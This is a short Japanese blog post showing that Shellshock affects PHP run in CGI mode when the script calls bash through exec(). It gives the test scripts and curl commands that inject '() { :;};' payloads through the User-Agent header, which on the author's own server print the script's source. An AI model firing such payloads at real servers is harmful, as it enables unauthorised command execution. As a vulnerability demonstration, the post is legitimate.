BASHの脆弱性でCGIモードで動いてるPHPにアレさせてみました

タイトルはパクリ
元記事: BASHの脆弱性でCGIスクリプトにアレさせてみました – ブログ – ワルブリックス株式会社

sakura のレンタルサーバが cgi モードで php 動かしてるよなーと思ってテストしてみたらできました。
# テストスクリプトは削除済みです。

test.php

<?php
header( "Content-type: text/plain" );

echo "Hey, I'm a PHP script so wouldn't be affected, right?\n";

exec('/usr/local/bin/bash '.dirname(__FILE__)."/test.sh", $outputs);
//exec('df -h', $outputs);
foreach ($outputs as $output) {
  echo $output."\n";
}

test.sh

#!/usr/local/bin/bash
echo "Content-type: text/plain"
echo
echo "Hi! I'm an ordinary CGI script which is executed by /usr/local/bin/bash"

結果 : Apache CGI版 PHP

$ curl -A '() { :;}; echo Content-type:text/plain;echo;/bin/cat test.php' http://wokamoto.sakura.ne.jp/test.php
Hey, I'm a PHP script so wouldn't be affected, right?
Content-type:text/plain

<?php
header( "Content-type: text/plain" );

echo "Hey, I'm a PHP script so wouldn't be affected, right?\n";

exec("/usr/local/bin/bash ".dirname(__FILE__)."/test.sh", $outputs);
//exec('df -h', $outputs);
foreach ($outputs as $output) {
  echo $output."\n";
}

影響を受けるのは exec() で bash を呼び出してる時だけで exec('df -h', $outputs); の時は問題無いです。

fastcgi で動いてる網元AMIでは、同じコードでも影響受けなかった。
結果 : fastcgi (網元AMI)

$ curl -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat test.php" test.dogmap.jp/test.php
Hey, I'm a PHP script so wouldn't be affected, right?
Content-type: text/plain

Hi! I'm an ordinary CGI script which is executed by /bin/bash

コメントを残す

メールアドレスが公開されることはありません。

次のHTML タグと属性が使えます: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>